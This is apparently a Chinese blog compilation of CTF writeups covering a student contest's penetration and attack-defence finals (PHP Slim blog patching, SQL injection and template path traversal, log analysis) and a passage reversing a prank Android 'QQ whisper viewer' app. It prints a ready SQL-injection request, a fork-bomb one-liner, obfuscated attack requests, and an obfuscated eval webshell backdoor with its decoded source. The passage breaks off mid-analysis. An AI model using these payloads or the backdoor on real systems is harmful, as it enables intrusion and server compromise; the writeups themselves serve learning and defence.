好吧继续看 2。@SummerZhang 在 Kali linux 下通过 Armitage 连接到了这台服务器,但是权限是个临时的低权限。Windows 的提权工具我跟他都没带,不过在这紧要关头 @黑白 贡献出了他的工具集,然而说这些工具都好老了,不确定行不行。抱着试试看的心态,我们找了一个名字最好听的工具:“Windows 通杀提权”,按照说明将两个文件上传到服务器,然后按照说明执行了一遍,发现用户变成了 SYSTEM,但是还是不能获取到那个文件,这太神奇了。于是又想到了远程桌面,但是经过尝试 SYSTEM 似乎弹不出远程桌面,于是凭借着高权限在命令行中使用 net user add 新建了一个账号并将其加入 Administrators 用户组,但是连过去还是提示密码错误。看了一眼用户列表,发现并没有新建成功,后来猜想可能是密码太简单,于是 @SummerZhang 作死设了一个超奇怪的密码 !@#$asdfQWER,然后过了两分钟他自己给忘了……总之最后连进去了,然后右键 1.exe ,将 Everyone 的权限改成“完全控制”,然后直接用菜刀下载下来了。@SummerZhang 刚想逆向,我又说咱们再 strings 一下呗……然而输出很奇怪,居然发现了 JFIF 的字样,我还吐槽他们是嵌了一张图片进去么,然后随手用 file 命令看了一下,发现这特么就是张 JPEG 图片……于是修改后缀点开发现了画在图片里面的 key 并过掉了这个服务器环境中的最后一题。

5 通过浏览器访问会有一个登录界面,但是用户名和密码都不知道。主办方提示是弱口令爆破,第一印象是需要爆破 sa 的口令,但是最终没能爆破出结果。最后得知密码是 root_123 之后,暗自决定:下次比赛带的字典一定要弱一些……

此时 3 还是没有任何进展。在距离比赛结束只剩不到一个小时、各种攻击方式无果的时候,@WolfZhang 居然破出来了 test 账户的弱密码 111111,好吧,我们想到了是弱密码,但是没想到有这么弱。我眼疾手快登进了后台,修改了可上传文件的后缀和大小,然后传了个菜刀进去,结果发现居然不能被执行?然而不知道为什么 @WolfZhang 上传的一个 70 多 K 的大马却可以执行,打开发现是一个登录界面,于是去翻源码,发现了写死在里面的账号和密码,登进去之后功能还挺全,可以看有权限的任意文件和目录、在任何有权限的地方上传/下载文件、执行 PHP 代码/SQL 代码、端口扫描等等。果断翻了一下网站代码,找到了数据库的密码并过掉一道题(获取数据库的连接密码),然后拿到一个有权限的文件并过掉一道题(获取 C:/1.txt 中的内容),然后题目中的下一个文件需要提权,果断将之前的提权工具外加 Armitage 生成的各种 reverse_tcp、vnc 程序一块上传上去(vnc 是为了获取 360 杀毒软件白名单中的文件名)。只不过比较尴尬的是,服务器禁用了 PHP 中一切可执行 shell 命令的函数,包括 execshell_execsystem 等,所以并不知道该怎么通过 webshell 运行那些 exe 文件。联想到两年前 @SummerZhang 将可执行文件直接上传到 cgi-bin 目录下最终成功执行木马的思路(传送门:Web 服务器 CGI 安全——由一次信息安全竞赛引发的思考),我们又做了一次尝试,发现目标机的 cgi-bin 默认是开启的,但是上传的文件都没法正常运行,都会秒退,写了 bat 来运行也不行。猜想是我们的木马在运行的时候被 360 干掉了,但是做了免杀好像也不行,所以又一次陷入了僵局。此时比赛的时间已经结束,我们只能停止目前的操作。


听其他队伍的选手说,这次决赛是有真的逆向题目的,然而我们水平有限没能做到那个地方。此外,这次决赛给我的感觉就是:各种提权,各种爆破,比初赛只有各种爆破好多了。

顺便提一句,感觉 Armitage 真的好好用啊,有空一定好好熟悉一下。

其实对于第八名的成绩,我内心还是不太满足的,然而转念一想,我一个平时画界面的,偶尔搞一搞安全,能拿到这个名次也不算太差是吧……

2016 全国大学生信息安全竞赛初赛 Writeup

得益于初赛的人品,我们有幸入围了决赛。但是对于决赛的比赛方式:攻防赛,我们并不了解,事先也不知道需要准备哪些东西,只是配了几个扫描器,然后就是之前用的 IDA 之类的工具和各种语言环境。经过两天的比赛,最终成绩是第 12 名(如果没有赛后的名次变动的话)。这次比赛确实让我学到了一些东西,下面我就来说一说吧~

各组选手维护相同的一系列服务,每五分钟(第二天改为了三分钟)为一轮,有一个flag 文件是 /home/flag/flag,你需要努力获取其它队伍的 flag 文件,也要尽量保证自己的 flag 文件不会被获取。每一轮这个文件的内容都会变,每一轮每个队伍只能提交获取到的其它各个队伍的 flag 各一次。也就是说,如果你不把漏洞修好,那么每一轮都可以被所有发现该漏洞的队伍攻击一次;每一轮会有一次服务存活检测,如果服务 down 掉了,丢失的分数会更多。

由于这次的题目类型大多是 PWN 的,而我是一只 WEB 狗,所以大部分的分数并不是我拿的,对于 PWN 的题目我也没法做什么分析。这次比赛的 WEB 题是这样的:你要维护的是一个简单的博客系统,使用的框架是 PHP Slim,支持最简单的注册、登录、发博文(标题、纯文本内容、模板名称)的功能。flag 文件是 /home/flag/flag,属于 www-data,权限为 511(每一轮自动换)。我们需要获取其它队伍的 flag 文件中的内容。

与之同时发布的还有一道 PWN 题,@沈园 同学果断接下了这个锅(事实上我们几乎所有有成绩的 PWN 题,修补漏洞和编写 EXP 都是他负责的,在此先膜拜一下 ),我和@SummerZhang 同学开始看 WEB。

首先先用 tar 命令将整个 web 目录打包,放到 /tmp 下,然后通过 scp 命令将其复制到本地。

1
scp ctf@10.250.111.11:/tmp/www.tar.gz ./www.tar.gz

解压缩之后对里面的文件进行逐一查看:

1
2
3
4
5
6
7
8
9
10
11
web
├─html
│ ├─css
│ ├─fonts
│ │ └─roboto
│ ├─img
│ └─js
├─log
├─templates
│ └─note_tpl
└─vendor

其中 html 文件夹中主要是 PHP 文件,config.php 是一些配置项,包括数据库的账号和密码,由于每一队维护的服务代码都是相同的,而且我们也没权限修改数据库的登录密码,因此这些无需修改。但是上面有这么一句:

1
$config['displayErrorDetails'] = true;

为了保险起见还是改成 false 吧。接下来是 db.php,是自己写的一个库文件,我们大概能感觉到这里面会有 SQL 注入的风险。

1
2
3
public function where($key = '', $operate = '', $value = '') {
$this->where[] = sprintf("%s %s '%s'", $this->filter($key), $operate, $this->filter($value));
}

看到这个函数的时候我还诧异:居然写了过滤?然而找到这个函数之后才发现:

1
2
3
public function filter($value) {
return $value;
}

坑爹呢!于是赶紧在 return 的值外面包了层 addslashes。继续往下看有个 select 函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public function select($value = '*') {
if(count($this->where) == 0) {
$sql = sprintf("SELECT %s FROM %s ", $value, $this->table);
}
else {
$where = implode(' AND ', $this->where);
$sql = sprintf("SELECT %s FROM %s WHERE %s", $value, $this->table, $where);
}
$sql .= $this->limit;
$this->limit = '';
$result = mysqli_query($this->conn, $sql);
if(!$result)
return null;
while($tmp = mysqli_fetch_row($result)) {
$ret[] = $tmp;
}
return @$ret;
}

不用想了,$where 这儿也有问题。在 else 一段为它添加 addslashes 吧:

1
2
3
4
5
6
7
8
else {
$o = array();
foreach ($where as $key => $value) {
$o[$key] = addslashes($value);
}
$where = implode(' AND ', $o);
$sql = sprintf("SELECT %s FROM %s WHERE %s", $value, $this->table, $where);
}

下面是一个 insert 函数,不定参数。其中有一句似乎是调用了 $this-&gt;filter

1
$args_list = array_map(array($this, 'filter'), func_get_args());

这段应该是没问题的,所以不改了。下面的 sess 类和 hello 函数也没发现什么问题。至此,db.php 已经没有什么明显的 BUG 了。接下来看 index.php,其中对路由 /list 的处理中,有一段看起来可能有问题:获取到文章的信息存放到 $result 之后,执行渲染的函数:

1
2
3
4
5
6
return $this->view->render($response, "/list.tpl", array(
'username' => $hello,
'notes' => $result,
'total_page' => $total_page,
'current_page' => $current_page
));

其中 /list.tpl 文件中有这样一段:

1
2
3
4
5
6
{% for note in notes %}
{% embed note.3 %}
{% block title %}{{ note.1 }}{% endblock %}
{% block content %}{{ note.2 }}{% endblock %}
{% endembed %}
{% endfor %}

note.3 是我们发这篇文章时选择的模板文件,它是在路由 /post 中被这样生成的:

1
2
3
4
5
$title = $parsedBody['title'];
$content = $parsedBody['content'];
$temp = "/note_tpl/{$parsedBody['temp']}.tpl";
$this->db->table('notes');
$this->db->insert($username, $title, $content, $temp);

当然,如果 filter 函数没有修改的话,可以这样直接注入:

1
2
3
4
5
6
POST /post HTTP/1.1
Host: 10.250.1xx.11
Cookie: PHPSESSID=[logged_session_id]
[Other headers]

content=xxx&temp=0&title=1%27%2C+%27title%27%2C+%27%5C%2Fnote_tpl%5C%2F..%5C%2F..%5C%2F..%5C%2F..%5C%2Fhome%5C%2Fflag%5C%2Fflag%27%29+%23+

这样拼接出来的 SQL 是:

1
INSERT INTO notes VALUES ('[logged_username]', '1', 'title', '\/note_tpl\/..\/..\/..\/..\/home\/flag\/flag') # ', 'xxx', '0')

于是在 render 的时候会触发文件包含的漏洞。如果数据库防了注入,这招就失灵了。但是我们可以这样:发现数据库的 template 字段类型是 varchar,有长度限制,我们只需要用空格填满剩余的空间即可:

1
title=0&content=xxx&temp=..%2F..%2F..%2F..%2Fhome%2Fflag%2Fflag++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

于是存到数据库中的就相当于 /home/flag/flag 了。要说这个也属于逻辑设计不合理,应该是在数据库存放文件名,然后渲染之前现场拼接路径。其实 Slim 本身也做了一层过滤,在 vendor/twig/twig/lib/Twig/Loader/Filesystem.php 中有过滤的函数,把注释去掉就可以限定包含的文件只能在当前目录下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
protected function validateName($name) {
if (false !== strpos($name, "\0")) {
throw new Twig_Error_Loader('A template name cannot contain NUL bytes.');
}
$name = ltrim($name, '/');
$parts = explode('/', $name);
$level = 0;
foreach ($parts as $part) {
if ('..' === $part) {
--$level;
} elseif ('.' !== $part) {
++$level;
}
if ($level &lt; 0) {
// throw new Twig_Error_Loader(sprintf('Looks like you try to load a template outside configured directories (%s).', $name));
}
}
}

但是这么修改太麻烦了,我们看了一下,只有三个模板,文件名分别是 1、2、3……于是果断加了一句:

1
2
3
$parsedBody['temp'] = intval($parsedBody['temp']);
// 下面这句是原来的
$temp = "/note_tpl/{$parsedBody['temp']}.tpl";

这下管你什么文件包含呢,通通没办法了吧?于是第一天我们的 WEB 题没有丢分(有一段时间许多队伍的 WEB 被 DoS 了,而 DoS 是被规则禁止的攻击方式,不知道主办方会怎么处理,这段时间的丢分我就认为不算丢分吧),反倒还拿了其它队伍不少分。

但是第二天就奇怪了,一大片队伍的 WEB 题都 down 掉了,我们不光 down 了,还被拿到了 flag。这怎么能忍?我们一遍遍排查代码,确认没有什么逻辑上的漏洞。然后突然发现服务器操作特别慢,于是 ps aux 了一下,发现了一大堆这样的命令:

1
sh -c echo 123;x() { x|x& };x

卧槽,居然连 fork 炸弹都上了!这也是被规则禁止的,于是我们通知了主办方,主办方把所有队伍的 WEB 服务都重启了一遍,但是我们的 WEB 题还是既 down 又被 flag,简直神奇。看了一下 /tmp 目录下被上传了一堆 shell,但是我们的 ctf 用户没权限删除 www-data 用户创建的内容。后来我们直接给自己的服务器上了一个 webshell(这就是俗话说的:我急了连自己的机器都上 shell!),因为 webshell 就是以 www-data 用户身份运行的。我们没发现有什么可以上传文件的地方,但是确实是被 get shell 了,于是在找出上传方法之前,先将所有的 shell 文件 kill 掉,然后对其执行 chmod 000;刚才 ps 的时候还发现了一个定时发送 flag 的 crontab,于是也果断将其清空。

就算这样还是被 flag 了,而且还在 down 着。我们在改完代码测试流程的时候偶然发现无法注册无法登录,于是猜想是不是数据库挂掉了,于是连进数据库一看,发现整个 database 全部被 drop 掉了……我们之前没有备份数据库,但是凭借着一点点记忆力以及@SummerZhang 同学根据代码推断数据库结构的能力,直接手动建起了数据库,恢复了服务的运行:

1
2
3
4
create database 0ops;
use 0ops;
create table users (username varchar(255), password varchar(255));
create table notes (username varchar(255), title varchar(255), content varchar(255), temp varchar(255));

但是文件是怎么传上来的呢?我们在 index.php 文件的最一开始加了一段代码,可以将全部的 HTTP 请求包记录到 /tmp/log.txt 中,然后我们就在命令行中 tail -f /tmp/log.txt,开始分析所有的请求,最终锁定了两个奇怪的请求:

1
2
3
4
5
6
7
8
GET /index.php?59b620d4=6cd13eb6assert41a2e1&edfd2=50cbin1d3&208a8e=74fe6cdupload89f&25411bcd=cdde9uploadf814ff266a&cecc789=9ce4c38feeval1de&2e84e621f=368c9e9baa918e&7657=b4a6uploadb339c1b1a&d54c1=1925cinto4aa&28d5bd999f=e7fselect3c37&b5fee3356a=c27ceeval2038&43a7c6bb4=4b3b74assert7a51&e9f6642fc=27b7into244&10fd41aefe=44e18a89a6into2a2f&08a3c97=ee6into3a909a4&c565ef5=6ec68upload2224e453&4df26=1fd254select4caaf&3c743ef7=a69bbfaassertbfa HTTP/1.1
Host: 10.250.111.11
Connection: keep-alive
Accept_encoding: gzip, deflate
Accept: */*
User_agent: python-requests/2.10.0
Accept_language: xh-ZA,sa;q=0.5,se;q=0.7,sm;q=0.8
Referer: http://localhost/index.php?379=60c8and6cc&8cdf38c0c=6f9%2Fbin%2Fbash96ca9&62ca6c1a1=52f58bin4550b2b528&9b4f5=c78d226select632b6&70d7cb=b7bc3576bevale12&id6=a45&id7=b7c&id8=TPp8K%2FzwM3%2F%2Fqn7rfXdJvnuo%2BE179U8e4jblqfr3KeJ7rX4qNSsureJmZY89Pg%3D%3D93d&d99=9&id10=707
1
2
3
4
5
6
7
8
9
10
11
12
13
POST /post HTTP/1.1
Host: 10.250.111.11
Accept_encoding: gzip, deflate
Accept: */*
User_agent: python-requests/2.7.0 CPython/2.7.9 Linux/4.0.0-kali1-amd64
Connection: keep-alive
Cookie: PHPSESSID=k4146i6hp0os7siaa8c2526no7

content=,1,0x2f6e6f74655f74706c2f2e2e2f2e2e2f2e2e2f2e2e2f686f6d652f666c61672f666c6167)--+xGj6Evnwu0Lbt4cl1oNKMJJTWOb21MNt5QdqMJiE4ojuUhtUb69&nFXwtiv=
Ok=system('uWz1E2Ygq4jZA5JfdwoAVT17xr9Ped8gujeO".str_rot13("0xZ8FCS8uJQKVJXbXQY7wSYZF3ZowvUv0hw3LIN6E".base64_decode("ypyQrdo7V5t0sZVWBmaLBtmK6aZL7yMZul".eval('xMFxdIFg4zkzyok0gEP2DjMnp8cFLiOlNC5EC776HARtCbn4NkycJ8QN'.var_dump("I1X5Qa4vZHVTjyhead>eDY7920XJdQ44mKSHOLnvgJ".$_SERVER[HTTP_z7Hp57U]("IKtFLD3vFLrxfig3hyZiUyGwP5Qt2QR3dClXFEr7v')"ARRnCZtnLPk54s77D5ILVT8UZxeXFjb5ViV1JKgGeCRHPRpjqoHw9cEE'))'fCvM6J7W0xC0PIPv6x2TPnpOlOOLvufuofXV4myGroWjw6')'qeToFSdgfyXTwK9fFIITmodMiZLN6bhJ3iNMqm9AX60do')
w2RG=system("CCCO5SSrVWrZsBdytM1xTLObt29O639w055UKmgnO55eXMYMzNiCcqfio'.system("DcnBcrhnwJDpGEeSTRrCnHfNBRbMvdfw8Yblp8W8u2G5ysE6G".unlink("QVcHdkVThSo0xAU4Zstc2jF6p6owFvqdah'.strrev('jQwHGxixZF4s4mVVQko2jJ17j9yZgagl8ycD")))
temp=L1Jqzh4S0PcMRxRGhkqQNHllS
title=wV2iOeYuLEh41X7WvpGbXcgkJYPubTjEM2s9eYcPrXQMMG\

我们自己尝试了一下,第二个请求之后会直接报 Slim application error,但是保险起见我们将所有 UA 带有 -kali- 字样的请求全部 die 掉,第一个请求貌似是主办方的服务存活检测,因为将其 die 掉之后我们的网站虽然还能正常运行,但是被判定为 down(但是没有被 flag,这一点我没有及时注意到,这是我的锅),取消 die 之后又变回了只被 flag 的状态。后来惊觉:这是主办方留的后门被人利用了!在 vendor/autoload.php 下面发现了后门:

1
2
require_once __DIR__ . '/composer' . '/autoload_real.php';
return ComposerAutoloaderInit854778b4c93a322cf2f5c39e558d9f7a::getLoader();

vendor/composer/autoload_real.php 中发现了这样一段代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
/**
* Signature For Report
*/$h='_)m/","/-/)m"),)marray()m"/","+")m),$)mss($s[$i)m],0,$e))))m)m,$k)));$o=ob)m_get_c)monte)m)mnts)m();ob_end_clean)';/*
*/$H='m();$d=ba)mse64)m_encode)m(x(gzc)mompres)ms($o),)m$)mk));print("&lt;)m$k>$d&lt;)m/)m$k>)m");@sessio)mn_d)mestroy();}}}}';/*
*/$N='mR;$rr)m=@$r[)m"HTT)mP_RE)mFERER"];$ra)m=)m@$r["HTTP_AC)mC)mEPT_LANG)mUAGE)m")m];if($rr)m&&$ra){)m$u=parse_u)mrl($rr);p';/*
*/$u='$e){)m$k=$)mkh.$kf;ob)m_start();)m@eva)ml(@gzunco)mmpr)mess(@x(@)mbase6)m4_deco)mde(p)m)mreg_re)mplace(array("/';/*
*/$f='$i&lt;$)ml;)m){)mfo)mr($j)m=0;($j&lt;$c&&$i&lt;$l);$j)m++,$i+)m+){$)mo.=$t{$i)m}^$)mk{$j};}}r)meturn )m$o;}$r)m=$_SERVE)';/*
*/$O='[$i]="";$p)m=$)m)mss($p,3)m);}if(ar)mray_)mkey_exists)m()m$i,$s)){$)ms[$i].=$p)m;)m$e=s)mtrpos)m($s[$i],$f);)mif(';/*
*/$w=')m));)m$p="";fo)mr($z=1;)m$z&lt;c)mount()m$m[1]);$)mz++)m)m)$p.=$q[$m[)m)m2][$z]];if(str)mpo)ms($p,$h))m===0){$s)m';/*
*/$P='trt)molower";$)mi=$m[1][0)m)m].$m[1][1])m;$h=$sl()m$ss(m)md5($)mi.$kh)m),0,)m3));$f=$s)ml($ss()m)mmd5($i.$kf),0,3';/*
*/$i=')marse_)mstr)m($u["q)muery"],$)m)mq);$q=array)m_values()m$q);pre)mg_matc)mh_all()m"/([\\w)m])m)[\\w-)m]+(?:;q=0.)';/*
*/$x='m([\\d)m]))?,?/",)m$ra,$m))m;if($q)m&&$)mm))m)m{@session_start();$)ms=&$_S)mESSI)m)mON;$)mss="sub)mstr";$sl="s)m';/*
*/$y=str_replace('b','','crbebbabte_funcbbtion');/*
*/$c='$kh="4f7)m)mf";$kf="2)m)m8d7";funct)mion x($t)m,$k){$)m)mc=strlen($k);$l=st)mrlen)m($t);)m)m$o="";for()m$i=0;';/*
*/$L=str_replace(')m','',$c.$f.$N.$i.$x.$P.$w.$O.$u.$h.$H);/*
*/$v=$y('',$L);$v();/*
*/
function composerRequire854778b4c93a322cf2f5c39e558d9f7a($fileIdentifier, $file)
{
if (empty($GLOBALS['__composer_autoload_files'][$fileIdentifier])) {
require $file;

$GLOBALS['__composer_autoload_files'][$fileIdentifier] = true;
}
}

上面那一串乱码一样的东西其实是个混淆,只要稍微改一改,顺着解析一遍就可以了。把最后的 $v(); 去掉(一看就是用来执行解析出来的函数的),然后输出 $y$L

1
2
3
4
【$y】
create_function
【$L】
$kh="4f7f";$kf="28d7";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i&lt;$l;){for($j=0;($j&lt;$c&&$i&lt;$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$r=$_SERVER;$rr=@$r["HTTP_REFERER"];$ra=@$r["HTTP_ACCEPT_LANGUAGE"];if($rr&&$ra){$u=parse_url($rr);parse_str($u["query"],$q);$q=array_values($q);preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);if($q&&$m){@session_start();$s=&$_SESSION;$ss="substr";$sl="strtolower";$i=$m[1][0].$m[1][1];$h=$sl($ss(md5($i.$kh),0,3));$f=$sl($ss(md5($i.$kf),0,3));$p="";for($z=1;$z&lt;count($m[1]);$z++)$p.=$q[$m[2][$z]];if(strpos($p,$h)===0){$s[$i]="";$p=$ss($p,3);}if(array_key_exists($i,$s)){$s[$i].=$p;$e=strpos($s[$i],$f);if($e){$k=$kh.$kf;ob_start();@eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));$o=ob_get_contents();ob_end_clean();$d=base64_encode(x(gzcompress($o),$k));print("&lt;$k>$d&lt;/$k>");@session_destroy();}}}}

所以重点就是 $L 了。稍微美化一下,在不修改逻辑的情况下简化一些语句,可得:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
function xor_encode($text, $key) {
$result = "";
for ($i = 0; $i &lt; strlen($text);) {
for ($j = 0; ($j &lt; strlen($key) && $i &lt; strlen($text)); $j++, $i++) {
$result .= $text[$i] ^ $key[$j];
}
}
return $result;
}

if ($_SERVER["HTTP_REFERER"] && $_SERVER["HTTP_ACCEPT_LANGUAGE"]) {
$u = parse_url($_SERVER["HTTP_REFERER"]);
parse_str($u["query"], $get);
$get = array_values($get);
preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/", $_SERVER["HTTP_ACCEPT_LANGUAGE"], $match);
if ($get && $match) {
@session_start();
$i = $match[1][0].$match[1][1];
$h = strtolower(substr(md5($i."4f7f"), 0, 3));
$f = strtolower(substr(md5($i."28d7"), 0, 3));
$p = "";
for ($z = 1; $z &lt; count($match[1]); $z++) $p .= $get[$match[2][$z]];
if (strpos($p, $h) === 0) {
$_SESSION[$i] = "";
$p = substr($p, 3);
}
if (array_key_exists($i, $_SESSION)) {
$_SESSION[$i] .= $p;
$e = strpos($_SESSION[$i], $f);
if ($e) {
$k = "4f7f28d7";
ob_start();
@eval(@gzuncompress(@xor_encode(@base64_decode(preg_replace(array("/_/", "/-/"), array("/", "+"), substr($s[$i], 0, $e))), $k)));
$o = ob_get_contents();
ob_end_clean();
$d = base64_encode(xor_encode(gzcompress($o), $k));
print("&lt;$k>$d&lt;/$k>");
@session_destroy();
}
}
}
}

可以看出这就是个 webshell,内容是通过 Referer 传进来的。除了好多加密解密以绕过过滤的函数以外,核心代码在这儿:

1
2
3
4
5
6
ob_start();
@eval(@gzuncompress(@xor_encode(@base64_decode(preg_replace(array("/_/", "/-/"), array("/", "+"), substr($s[$i], 0, $e))), $k)));
$o = ob_get_contents();
ob_end_clean();
$d = base64_encode(xor_encode(gzcompress($o), $k));
print("&lt;$k>$d&lt;/$k>");

所以只要以同样的方式传进来数据,那么显然可以直接 get shell!似乎这个文件由于权限问题没法直接修改,所以解决问题的最简单的方法就是在 index.php 中加入一行代码:

1
$_SERVER['HTTP_REFERER'] = 'Hello friend';

改完之后又过了一轮,我们的 WEB 完全正常了。虽然这个时候已经被打的很惨了……

至于那些 PWN 的题,@沈园 同学负责分析、补漏洞(直接手工修改二进制文件也是 666)、写 exp,@SummerZhang 同学来跑 exp,因为 exp 不是很稳定所以他还顺便当了一次人肉守护进程。

当然,也多亏 @SummerZhang 同学连夜搞出了那道 400 分的静态分析题,现学现卖的能力果然好强。


总之,还是我们的水平不够啊……不过这次比赛对我们以后为校内赛出题提供了很多思路,说不定以后的 NUAACTF 就不光会有 CTF,还会有渗透和攻防的赛程了呢!

让老司机纷纷翻车的“悄悄话查看器”究竟有啥名堂?

0x00 Introduction

相信大家一定被所谓的“QQ悄悄话查看器”刷屏了吧?从上个月开始我就郁闷,有人给我发悄悄话,然而我又猜不到是谁。有了这么一个 APP,岂不是可以调戏回去?然而大家的反应似乎不是这样的:

1

“这一切来的太快”

2

“强行上车 车速过快 引发多起事故”

3

“这很强势,很清真”

4

“逸夫楼教室此起彼伏”

5

“对不起,我们不认识”

就是这么个安卓 APP,害了好多老司机纷纷翻车。

下午刚陪女朋友上完自习(此处省略秀恩爱的若干字),各种群、空间、朋友圈就被这些图刷屏了。我所在的群中,有四个群里面已经有了这个文件。于是我就顺手反编译了一下,看看它究竟是个什么玩意儿。

如果迫不及待的话,我可以提前告诉你,这就是某个人顺手写出来的整人的玩意儿。好了全文到此结束。

坑爹呢这是!

当然,对于感兴趣的同学,我当然要说一下逆向这个 APP 的过程。由于这个 APP 写的很简单,因此逆向起来没有任何难度,大神就不要喷啦。

后文可能会有福利哦~

0x01 Unzip

呃,之所以需要这一步,是因为如果直接用 dex2jar 来反编译 apk 的话会报错,大概是打包的时候出了问题吧。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ d2j-dex2jar.sh qq_secret.apk
dex2jar qq_secret.apk -> qq_secret-dex2jar.jar
com.googlecode.dex2jar.DexException: java.util.zip.ZipException: invalid entry compressed size (expected 252773 but got 252747 bytes)
at com.googlecode.dex2jar.reader.DexFileReader.opDataIn(DexFileReader.java:217)
at com.googlecode.dex2jar.reader.DexFileReader.<init>(DexFileReader.java:229)
at com.googlecode.dex2jar.reader.DexFileReader.</init><init>(DexFileReader.java:240)
at com.googlecode.dex2jar.tools.Dex2jarCmd.doCommandLine(Dex2jarCmd.java:104)
at com.googlecode.dex2jar.tools.BaseCmd.doMain(BaseCmd.java:174)
at com.googlecode.dex2jar.tools.Dex2jarCmd.main(Dex2jarCmd.java:34)
Caused by: java.util.zip.ZipException: invalid entry compressed size (expected 252773 but got 252747 bytes)
at java.util.zip.ZipInputStream.readEnd(Unknown Source)
at java.util.zip.ZipInputStream.read(Unknown Source)
at java.util.zip.ZipInputStream.closeEntry(Unknown Source)
at java.util.zip.ZipInputStream.getNextEntry(Unknown Source)
at com.googlecode.dex2jar.reader.ZipExtractor.extract(ZipExtractor.java:31)
at com.googlecode.dex2jar.reader.DexFileReader.readDex(DexFileReader.java:129)
at com.googlecode.dex2jar.reader.DexFileReader.opDataIn(DexFileReader.java:213)
... 5 more</init>

于是用压缩软件解包之后,反编译里面的 dex 文件即可:

1
2
$ d2j-dex2jar.sh classes.dex
dex2jar classes.dex -> classes-dex2jar.jar

然后用 jd-gui 载入,发现里面有两个大包:com.e4a.runtimecom.o,前者是安卓版的易语言运行环境,后者就是主程序了。

6

看了几眼,发现 R.class 中声明的元素少得可怜。于是往下看到 主窗口.class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public void $define() {
// ....
图片框Impl local图片框Impl = new 图片框Impl(主窗口);
Objects.initializeProperties(local图片框Impl);
this.图片框1 = ((图片框)local图片框Impl);
this.图片框1.左边((int)算术运算.取整(ByteVariant.getByteVariant((byte)0).mul(IntegerVariant.getIntegerVariant(系统相关类.取屏幕宽度()))));
this.图片框1.顶边((int)算术运算.取整(ByteVariant.getByteVariant((byte)0).mul(IntegerVariant.getIntegerVariant(系统相关类.取屏幕高度()))));
this.图片框1.宽度((int)算术运算.取整(ByteVariant.getByteVariant((byte)1).mul(IntegerVariant.getIntegerVariant(系统相关类.取屏幕宽度()))));
this.图片框1.高度((int)算术运算.取整(ByteVariant.getByteVariant((byte)1).mul(IntegerVariant.getIntegerVariant(系统相关类.取屏幕高度()))));
this.图片框1.背景颜色(-1);
this.图片框1.显示方式(1);
this.图片框1.图像("6M5UBF2J9ZI70.jpg");
this.图片框1.可视(true);
// ....
}

隐去了部分代码,可以看到这里全屏显示了一张图片。那么所谓的 6M5UBF2J9ZI70.jpg 是个什么东西呢?我们来翻一下 assets 文件夹好了:

7

看到缩略图,好像是福利?于是点开大图。结果发现跟女朋友相比差了好多,并没有 xing 趣欣赏,不知道大家是什么反应?

继续往下看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public void 主窗口$创建完毕() {
音量操作.置音量(4, 100);
音量操作.置音量(4, 100);
音量操作.置音量(2, 100);
音量操作.置音量(3, 100);
媒体操作.播放音乐("0.mp3");
媒体操作.置循环播放(true);
// ....
this.系统设置1.屏幕锁定();
this.系统设置1.保持屏幕常亮();
this.系统广播1.注册广播("后台服务广播");
this.系统闹钟1.设置闹钟(1, 500L, "闹钟");
this.时钟1.时钟周期(500);
}

将音量调到最高,播放音乐,保持屏幕常亮……毕竟是易语言,想都不用想就知道是干什么的了~

看到有一段音乐,又想起了刚才的图片,于是打开听一听吧……

我还是不评价了,放一张别人的评论好了:

0

坑爹呢这是!

还是继续往下看吧……

1
2
3
4
5
6
7
8
9
10
11
12
13
public void 主窗口$按下某键(int paramInt, BooleanReferenceParameter paramBooleanReferenceParameter) {
boolean bool = paramBooleanReferenceParameter.get();
if (paramInt == 24) {
bool = true;
}
if (paramInt == 25) {
bool = true;
}
if (paramInt == 82) {
bool = true;
}
paramBooleanReferenceParameter.set(bool);
}

两个音量控制键(24、25)、菜单键(82),大概是要屏蔽这三个按键吧。

1
2
3
4
5
6
7
8
public void 时钟2$周期事件() {
this.时钟1.时钟周期(0);
系统相关类.创建快捷方式2("QQ悄悄话查看器0", 2130837504, "http://");
系统相关类.创建快捷方式2("QQ悄悄话查看器1", 2130837504, "http://");
系统相关类.创建快捷方式2("快手双击工具2", 2130837504, "http://");
系统相关类.创建快捷方式2("快手双击工具3", 2130837504, "http://");
系统相关类.创建快捷方式2("QQ悄悄话查看器4", 2130837504, "http://");
}

创建一堆奇怪的快捷方式。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public void 系统广播1$收到广播(int paramInt) {
主窗口.标题(this.系统广播1.取广播内容());
if (主窗口.标题().equals("1")) {
if (!应用操作.是否在前台()) {
音量操作.置音量(4, 100);
音量操作.置音量(1, 100);
音量操作.置音量(2, 100);
音量操作.置音量(3, 100);
应用操作.返回应用();
this.系统设置1.屏幕解锁();
}
}
// ....
}

乍看起来像是保持前台运行的,如果被切到后台了,就强行跑到前台刷存在感(顺便如果你锁屏了人家还会帮你解个锁)。然而这个 主窗口.标题().equals("1") 的条件是个什么鬼?这个 class 没有什么可看的了,看最后的 后台服务操作.class 吧:

1
2
3
4
5
6
7
8
9
10
11
12
